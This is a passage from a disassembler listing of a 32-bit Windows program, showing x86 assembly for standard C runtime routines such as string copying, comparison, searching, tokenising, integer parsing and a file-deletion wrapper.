CODE XREF: sub_41B900+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41B900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B980 proc near ; CODE XREF: sub_401221+11Ap ; sub_401ACD+1C72p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B9BF mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B9CC ; --------------------------------------------------------------------------- loc_41B9BF: ; CODE XREF: sub_41B980+35j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B9CC: ; CODE XREF: sub_41B980+3Dj mov eax, esi pop esi leave retn sub_41B980 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B9D1 proc near ; CODE XREF: sub_401221+F7p ; sub_401ACD+21D1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_41AFE0 cmp eax, 1 pop ecx jb short loc_41BA0C cmp byte ptr [ebx+1], 3Ah jnz short loc_41BA0C mov esi, [ebp+arg_4] test esi, esi jz short loc_41BA08 push 2 push ebx push esi call sub_420289 add esp, 0Ch and byte ptr [esi+2], 0 loc_41BA08: ; CODE XREF: sub_41B9D1+25j inc ebx inc ebx jmp short loc_41BA16 ; --------------------------------------------------------------------------- loc_41BA0C: ; CODE XREF: sub_41B9D1+18j ; sub_41B9D1+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41BA16 and byte ptr [eax], 0 loc_41BA16: ; CODE XREF: sub_41B9D1+39j ; sub_41B9D1+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_41BA8E loc_41BA29: ; CODE XREF: sub_41B9D1+87j mov cl, [eax] movzx edx, cl test byte_4DCEA1[edx], 4 jz short loc_41BA3A inc eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA3A: ; CODE XREF: sub_41B9D1+64j cmp cl, 2Fh jz short loc_41BA4E cmp cl, 5Ch jz short loc_41BA4E cmp cl, 2Eh jnz short loc_41BA54 mov [ebp+var_4], eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA4E: ; CODE XREF: sub_41B9D1+6Cj ; sub_41B9D1+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41BA54: ; CODE XREF: sub_41B9D1+67j ; sub_41B9D1+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_41BA29 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_41BA8E cmp [ebp+arg_8], 0 jz short loc_41BA89 sub edi, ebx cmp edi, esi jb short loc_41BA72 mov edi, esi loc_41BA72: ; CODE XREF: sub_41B9D1+9Dj push edi push ebx push [ebp+arg_8] call sub_420289 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BA89: ; CODE XREF: sub_41B9D1+97j mov ebx, [ebp+arg_4] jmp short loc_41BA98 ; --------------------------------------------------------------------------- loc_41BA8E: ; CODE XREF: sub_41B9D1+56j ; sub_41B9D1+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41BA98 and byte ptr [ecx], 0 loc_41BA98: ; CODE XREF: sub_41B9D1+BBj ; sub_41B9D1+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_41BAEB cmp edi, ebx jb short loc_41BAEB cmp [ebp+arg_C], 0 jz short loc_41BAC8 sub edi, ebx cmp edi, esi jb short loc_41BAB1 mov edi, esi loc_41BAB1: ; CODE XREF: sub_41B9D1+DCj push edi push ebx push [ebp+arg_C] call sub_420289 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BAC8: ; CODE XREF: sub_41B9D1+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41BB13 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41BAD8 mov esi, eax loc_41BAD8: ; CODE XREF: sub_41B9D1+103j push esi push [ebp+var_4] push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41BB13 ; --------------------------------------------------------------------------- loc_41BAEB: ; CODE XREF: sub_41B9D1+CCj ; sub_41B9D1+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_41BB09 sub eax, ebx cmp eax, esi jnb short loc_41BAFA mov esi, eax loc_41BAFA: ; CODE XREF: sub_41B9D1+125j push esi push ebx push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 loc_41BB09: ; CODE XREF: sub_41B9D1+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41BB13 and byte ptr [eax], 0 loc_41BB13: ; CODE XREF: sub_41B9D1+FCj ; sub_41B9D1+118j ... pop edi pop esi pop ebx leave retn sub_41B9D1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BB20 proc near ; CODE XREF: sub_401955+8p ; sub_401ACD+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41BB40 loc_41BB2C: ; CODE XREF: sub_41BB20+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41BB2C loc_41BB40: ; CODE XREF: sub_41BB20+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41BB20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB4F proc near ; CODE XREF: sub_401ACD+757Ep ; sub_401ACD+75ADp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_41BB63 xor eax, eax jmp short loc_41BB99 ; --------------------------------------------------------------------------- loc_41BB63: ; CODE XREF: sub_41BB4F+Ej dec [ebp+arg_4] push esi jz short loc_41BB93 mov esi, [ebp+arg_8] loc_41BB6C: ; CODE XREF: sub_41BB4F+42j dec dword ptr [esi+4] js short loc_41BB7B mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41BB82 ; --------------------------------------------------------------------------- loc_41BB7B: ; CODE XREF: sub_41BB4F+20j push esi call sub_41F043 pop ecx loc_41BB82: ; CODE XREF: sub_41BB4F+2Aj cmp eax, 0FFFFFFFFh jz short loc_41BB9D mov [edi], al inc edi cmp al, 0Ah jz short loc_41BB93 dec [ebp+arg_4] jnz short loc_41BB6C loc_41BB93: ; CODE XREF: sub_41BB4F+18j ; sub_41BB4F+3Dj ... and byte ptr [edi], 0 loc_41BB96: ; CODE XREF: sub_41BB4F+55j mov eax, ebx pop esi loc_41BB99: ; CODE XREF: sub_41BB4F+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41BB9D: ; CODE XREF: sub_41BB4F+36j cmp edi, [ebp+arg_0] jnz short loc_41BB93 xor ebx, ebx jmp short loc_41BB96 sub_41BB4F endp ; =============== S U B R O U T I N E ======================================= sub_41BBA6 proc near ; CODE XREF: sub_41DC8A+11Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BBA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBBD proc near ; CODE XREF: sub_41BBA6+Ep ; sub_41BDC5+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41BBD5: ; CODE XREF: sub_41BBBD+46j cmp dword_43CBC4, 1 jle short loc_41BBED movzx eax, bl push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41BBFC ; --------------------------------------------------------------------------- loc_41BBED: ; CODE XREF: sub_41BBBD+1Fj mov ecx, off_43C9B8 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_41BBFC: ; CODE XREF: sub_41BBBD+2Ej test eax, eax jz short loc_41BC05 mov bl, [esi] inc esi jmp short loc_41BBD5 ; --------------------------------------------------------------------------- loc_41BC05: ; CODE XREF: sub_41BBBD+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_41BC13 or [ebp+arg_C], 2 jmp short loc_41BC18 ; --------------------------------------------------------------------------- loc_41BC13: ; CODE XREF: sub_41BBBD+4Ej cmp bl, 2Bh jnz short loc_41BC1E loc_41BC18: ; CODE XREF: sub_41BBBD+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_41BC1E: ; CODE XREF: sub_41BBBD+59j mov eax, [ebp+arg_8] test eax, eax jl loc_41BDB5 cmp eax, 1 jz loc_41BDB5 cmp eax, 24h jg loc_41BDB5 push 10h test eax, eax pop ecx jnz short loc_41BC66 cmp bl, 30h jz short loc_41BC50 mov [ebp+arg_8], 0Ah jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC50: ; CODE XREF: sub_41BBBD+88j mov al, [esi] cmp al, 78h jz short loc_41BC63 cmp al, 58h jz short loc_41BC63 mov [ebp+arg_8], 8 jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC63: ; CODE XREF: sub_41BBBD+97j ; sub_41BBBD+9Bj mov [ebp+arg_8], ecx loc_41BC66: ; CODE XREF: sub_41BBBD+83j cmp [ebp+arg_8], ecx jnz short loc_41BC82 cmp bl, 30h jnz short loc_41BC82 mov al, [esi] cmp al, 78h jz short loc_41BC7A cmp al, 58h jnz short loc_41BC82 loc_41BC7A: ; CODE XREF: sub_41BBBD+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_41BC82: ; CODE XREF: sub_41BBBD+91j ; sub_41BBBD+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_41BC92: ; CODE XREF: sub_41BBBD+16Cj cmp dword_43CBC4, 1 movzx esi, bl jle short loc_41BCAA push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCB5 ; --------------------------------------------------------------------------- loc_41BCAA: ; CODE XREF: sub_41BBBD+DFj mov eax, off_43C9B8 mov al, [eax+esi*2] and eax, 4 loc_41BCB5: ; CODE XREF: sub_41BBBD+EBj test eax, eax jz short loc_41BCC1 movsx ecx, bl sub ecx, 30h jmp short loc_41BCF3 ; --------------------------------------------------------------------------- loc_41BCC1: ; CODE XREF: sub_41BBBD+FAj cmp dword_43CBC4, 1 jle short loc_41BCD5 push edi push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCE0 ; --------------------------------------------------------------------------- loc_41BCD5: ; CODE XREF: sub_41BBBD+10Bj mov eax, off_43C9B8 mov ax, [eax+esi*2] and eax, edi loc_41BCE0: ; CODE XREF: sub_41BBBD+116j test eax, eax jz short loc_41BD2E movsx eax, bl push eax call sub_420313 pop ecx mov ecx, eax sub ecx, 37h loc_41BCF3: ; CODE XREF: sub_41BBBD+102j cmp ecx, [ebp+arg_8] jnb short loc_41BD2E mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41BD18 jnz short loc_41BD12 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41BD18 loc_41BD12: ; CODE XREF: sub_41BBBD+147j or [ebp+arg_C], 4 jmp short loc_41BD21 ; --------------------------------------------------------------------------- loc_41BD18: ; CODE XREF: sub_41BBBD+145j ; sub_41BBBD+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_41BD21: ; CODE XREF: sub_41BBBD+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_41BC92 ; --------------------------------------------------------------------------- loc_41BD2E: ; CODE XREF: sub_41BBBD+125j ; sub_41BBBD+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_41BD4C test edx, edx jz short loc_41BD46 mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41BD46: ; CODE XREF: sub_41BBBD+181j and [ebp+var_8], 0 jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD4C: ; CODE XREF: sub_41BBBD+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_41BD72 test cl, 1 jnz short loc_41BD99 and ecx, 2 jz short loc_41BD69 cmp [ebp+var_8], 80000000h ja short loc_41BD72 loc_41BD69: ; CODE XREF: sub_41BBBD+1A1j test ecx, ecx jnz short loc_41BD99 cmp [ebp+var_8], eax jbe short loc_41BD99 loc_41BD72: ; CODE XREF: sub_41BBBD+197j ; sub_41BBBD+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4DB938, 22h jz short loc_41BD88 or [ebp+var_8], 0FFFFFFFFh jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD88: ; CODE XREF: sub_41BBBD+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41BD99: ; CODE XREF: sub_41BBBD+18Dj ; sub_41BBBD+19Cj ... test edx, edx jz short loc_41BDA2 mov eax, [ebp+var_4] mov [edx], eax loc_41BDA2: ; CODE XREF: sub_41BBBD+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_41BDB0 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_41BDB0: ; CODE XREF: sub_41BBBD+1E9j mov eax, [ebp+var_8] jmp short loc_41BDC0 ; --------------------------------------------------------------------------- loc_41BDB5: ; CODE XREF: sub_41BBBD+66j ; sub_41BBBD+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41BDBE mov [eax], edi loc_41BDBE: ; CODE XREF: sub_41BBBD+1FDj xor eax, eax loc_41BDC0: ; CODE XREF: sub_41BBBD+1F6j pop edi pop esi pop ebx leave retn sub_41BBBD endp ; =============== S U B R O U T I N E ======================================= sub_41BDC5 proc near ; CODE XREF: sub_401ACD+61CEp ; sub_401ACD+6A0Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BDC5 endp ; =============== S U B R O U T I N E ======================================= sub_41BDDC proc near ; CODE XREF: sub_401ACD+5980p arg_0 = dword ptr 4 push [esp+arg_0] call dword_427080 ; DeleteFileA test eax, eax jnz short loc_41BDF2 call dword_42708C ; RtlGetLastWin32Error jmp short loc_41BDF4 ; --------------------------------------------------------------------------- loc_41BDF2: ; CODE XREF: sub_41BDDC+Cj xor eax, eax loc_41BDF4: ; CODE XREF: sub_41BDDC+14j test eax, eax jz short loc_41BE03 push eax call sub_4203DF pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41BE03: ; CODE XREF: sub_41BDDC+1Aj xor eax, eax retn sub_41BDDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE06 proc near ; CODE XREF: sub_401ACD+58D2p ; sub_411C13+8Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_420446 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41F69F push [ebp+arg_0] mov edi, eax push esi call sub_4204D3 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_41BE06 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE40 proc near ; CODE XREF: sub_401ACD+1E81p ; sub_401ACD+1EA0p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41BE61 xor eax, eax jmp short loc_41BE63 ; --------------------------------------------------------------------------- loc_41BE61: ; CODE XREF: sub_41BE40+1Bj mov eax, edi loc_41BE63: ; CODE XREF: sub_41BE40+1Fj cld pop edi leave retn sub_41BE40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE70 proc near ; CODE XREF: sub_401ACD+870p ; sub_41DC8A+93p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41BEA1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41BE9F jz short loc_41BEA1 dec ecx dec ecx loc_41BE9F: ; CODE XREF: sub_41BE70+29j not ecx loc_41BEA1: ; CODE XREF: sub_41BE70+9j ; sub_41BE70+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41BE70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEB0 proc near ; CODE XREF: sub_401ACD+42Fp ; sub_401ACD+2FFCp ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41BF21 sub_41BEB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEC0 proc near ; CODE XREF: sub_401ACD+438p ; sub_401ACD+75FEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41BEDC loc_41BECD: ; CODE XREF: sub_41BEC0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41BF0F test ecx, 3 jnz short loc_41BECD loc_41BEDC: ; CODE XREF: sub_41BEC0+Bj ; sub_41BEC0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41BEDC mov eax, [ecx-4] test al, al jz short loc_41BF1E test ah, ah jz short loc_41BF19 test eax, 0FF0000h jz short loc_41BF14 test eax, 0FF000000h jz short loc_41BF0F jmp short loc_41BEDC ; --------------------------------------------------------------------------- loc_41BF0F: ; CODE XREF: sub_41BEC0+12j ; sub_41BEC0+4Bj lea edi, [ecx-1] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF14: ; CODE XREF: sub_41BEC0+44j lea edi, [ecx-2] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF19: ; CODE XREF: sub_41BEC0+3Dj lea edi, [ecx-3] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF1E: ; CODE XREF: sub_41BEC0+39j lea edi, [ecx-4] loc_41BF21: ; CODE XREF: sub_41BEB0+5j ; sub_41BEC0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41BF46 loc_41BF2D: ; CODE XREF: sub_41BEC0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41BF98 mov [edi], dl inc edi test ecx, 3 jnz short loc_41BF2D jmp short loc_41BF46 ; --------------------------------------------------------------------------- loc_41BF41: ; CODE XREF: sub_41BEC0+9Ej ; sub_41BEC0+B8j mov [edi], edx add edi, 4 loc_41BF46: ; CODE XREF: sub_41BEC0+6Bj ; sub_41BEC0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41BF41 test dl, dl jz short loc_41BF98 test dh, dh jz short loc_41BF8F test edx, 0FF0000h jz short loc_41BF82 test edx, 0FF000000h jz short loc_41BF7A jmp short loc_41BF41 ; --------------------------------------------------------------------------- loc_41BF7A: ; CODE XREF: sub_41BEC0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF82: ; CODE XREF: sub_41BEC0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41BF8F: ; CODE XREF: sub_41BEC0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF98: ; CODE XREF: sub_41BEC0+72j ; sub_41BEC0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41BEC0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41BFB0 loc_41BFA0: ; CODE XREF: sub_41BFB0+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41BFB0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BFB0 proc near ; CODE XREF: sub_401ACD+414p ; sub_401ACD+4C3p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41BFB6: ; CODE XREF: sub_41B900+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41BFDB loc_41BFC8: ; CODE XREF: sub_41BFB0+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41BFA0 test cl, cl jz short loc_41C024 test edx, 3 jnz short loc_41BFC8 loc_41BFDB: ; CODE XREF: sub_41BFB0+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41BFE6: ; CODE XREF: sub_41BFB0+61j ; sub_41BFB0+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41C028 and eax, 81010100h jz short loc_41BFE6 and eax, 1010100h jnz short loc_41C022 and esi, 80000000h jnz short loc_41BFE6 loc_41C022: ; CODE XREF: sub_41BFB0+68j ; sub_41BFB0+81j ... pop esi pop edi loc_41C024: ; CODE XREF: sub_41BFB0+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C028: ; CODE XREF: sub_41BFB0+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41C065 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C05E test ah, ah jz short loc_41C022 shr eax, 10h cmp al, bl jz short loc_41C057 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C050 test ah, ah jz short loc_41C022 jmp short loc_41BFE6 ; --------------------------------------------------------------------------- loc_41C050: ; CODE XREF: sub_41BFB0+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41C057: ; CODE XREF: sub_41BFB0+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C05E: ; CODE XREF: sub_41BFB0+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C065: ; CODE XREF: sub_41BFB0+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41BFB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C070 proc near ; CODE XREF: sub_401ACD+1AEp ; sub_401ACD+205p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41C0BC loc_41C080: ; CODE XREF: sub_41C070+3Cj ; sub_41C070+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 shr eax, 10h cmp al, [ecx+2] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+3] jnz short loc_41C0B4 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41C080 mov edi, edi loc_41C0B0: ; CODE XREF: sub_41C070+18j ; sub_41C070+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0B4: ; CODE XREF: sub_41C070+14j ; sub_41C070+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0BC: ; CODE XREF: sub_41C070+Ej test edx, 1 jz short loc_41C0D8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41C0B4 inc ecx or al, al jz short loc_41C0B0 test edx, 2 jz short loc_41C080 loc_41C0D8: ; CODE XREF: sub_41C070+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 add ecx, 2 jmp short loc_41C080 sub_41C070 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C0F4 proc near ; CODE XREF: sub_401ACD+B5p ; sub_401ACD+D5p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_41C10D: ; CODE XREF: sub_41C0F4+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_41C10D mov edx, [ebp+arg_0] test edx, edx jnz short loc_41C135 mov edx, dword_4DB984 loc_41C135: ; CODE XREF: sub_41C0F4+39j ; sub_41C0F4+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_41C155 test al, al jz short loc_41C155 inc edx jmp short loc_41C135 ; --------------------------------------------------------------------------- loc_41C155: ; CODE XREF: sub_41C0F4+58j ; sub_41C0F4+5Cj mov ebx, edx loc_41C157: ; CODE XREF: sub_41C0F4+81j mov al, [edx] test al, al jz short loc_41C17B movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_41C177 inc edx jmp short loc_41C157 ; --------------------------------------------------------------------------- loc_41C177: ; CODE XREF: sub_41C0F4+7Ej and byte ptr [edx], 0 inc edx loc_41C17B: ; CODE XREF: sub_41C0F4+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4DB984, edx and eax, ebx pop ebx leave retn sub_41C0F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C190 proc near ; CODE XREF: sub_409A2C+1Cp ; sub_415220+19p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C1CE mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C1DB ; --------------------------------------------------------------------------- loc_41C1CE: ; CODE XREF: sub_41C190+34j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41C1DB: ; CODE XREF: sub_41C190+3Cj mov eax, esi pop esi leave retn sub_41C190 endp ; =============== S U B R O U T I N E ======================================= sub_41C1E0 proc near ; CODE XREF: sub_40AFEA+88p ; sub_40B64A+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41C294 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41C20A loc_41C1FB: ; CODE XREF: sub_41C1E0+28j mov al, [edi] inc edi test al, al jz short loc_41C23B test edi, 3 jnz short loc_41C1FB loc_41C20A: ; CODE XREF: sub_41C1E0+19j ; sub_41C1E0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41C20A mov eax, [edi-4] test al, al jz short loc_41C248 test ah, ah jz short 